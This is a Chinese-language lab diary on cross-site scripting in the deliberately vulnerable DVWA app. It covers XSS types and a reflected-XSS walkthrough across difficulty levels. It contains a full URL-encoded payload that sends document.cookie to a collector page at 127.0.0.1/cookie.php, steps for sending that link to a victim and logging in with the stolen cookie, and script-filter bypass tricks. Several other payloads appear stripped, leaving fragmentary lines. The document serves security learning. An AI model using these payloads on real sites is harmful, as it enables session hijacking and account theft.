DVWA学习日记-7 XSS

XSS漏洞

概述
收到一个链接,手一抖就点下去了,发现钱没了,有点类似CSRF,从受害者角度来说都是一样情况,但是从攻击者角度来说不同

XSS
Cross-site scripting
跨站 脚本

本质上:
客户端代码注入,通常注入代码是JavaScript区别于命令注入,SQL注入等服务端代码注入

类型:
存储型XSS 攻击代码在数据库里在HTTP响应中
反射型XSS 攻击代码在url里输出在HTTP响应中
DOM型XSS 攻击代码在url里输出在DOM节点

准备:
Firebox
DVWA
Firebug
Hackbar
Tamper Data

实战
1.进入简单模式
反射XSS
DVWA学习日记-7 XSS_第1张图片

3.进入存储型XSS,发现是个常见的留言板功能
DVWA学习日记-7 XSS_第2张图片
4.先来进入反射型XSS
发现一个框,让我们输入姓名
正常操作
DVWA学习日记-7 XSS_第3张图片
5.尝试< xss >标签
DVWA学习日记-7 XSS_第4张图片
发现hello后面出现了xss标签,似乎可以注入html标签
6.弹窗测试


DVWA学习日记-7 XSS_第5张图片
在firebug查看对应元素
DVWA学习日记-7 XSS_第6张图片
7.JavaScript弹窗函数(根据服务器过滤情况选择)
alert()
DVWA学习日记-7 XSS_第7张图片
confirm()
DVWA学习日记-7 XSS_第8张图片
prompt()
DVWA学习日记-7 XSS_第9张图片
8.攻击思路
用户要登陆被攻击web服务器,攻击者发送攻击url(包含攻击js),诱骗他点击,用户点击后服务器会对攻击js回应,用户浏览器执行js脚本,在用户不知情的情况下,发送凭证到攻击者web下,达到了跨站的目的,攻击者获取到信息,使用用户身份进入到web服务器

9.攻击者web设计
创一个cookie.php
http://127.0.0.1/cookie.php


构造攻击js


document.localtion	将页面内容定位到指定的位置
document.cookie		读取cookie

构造攻击url(等于提交表单)

http://localhost/DVWA-master/vulnerabilities/xss_r/?name=

还需要使用到url编码
DVWA学习日记-7 XSS_第10张图片

http://localhost/DVWA-master/vulnerabilities/xss_r/?name=%3Cscript%3Edocument.location%3D%27http%3A%2f%2f127.0.0.1%2fcookie.php%3Fcookie%3D%27%2bdocument.cookie%3B%3C%2fscript%3E

10.发送url给用户,获取cookie
http://127.0.0.1/cookie.txt里面就有内容了

修改自己的cookie值就可以受害者的号登陆

11.进入中等难度
尝试发现没有成功,服务端过滤了script标签
DVWA学习日记-7 XSS_第11张图片

12.发现只过滤了一次script标签
尝试使用ipt>标签,发现成功弹窗

?name=ipt>alert(/xss/)

也可以使用大小写混合法,进行绕过

?name=#

13.进入高难度模式
使用了两种绕过也不行
发现只是限制了script标签,我们可以使用其他标签
发现img标签也可以执行js脚本

?name=	//img标签
?name=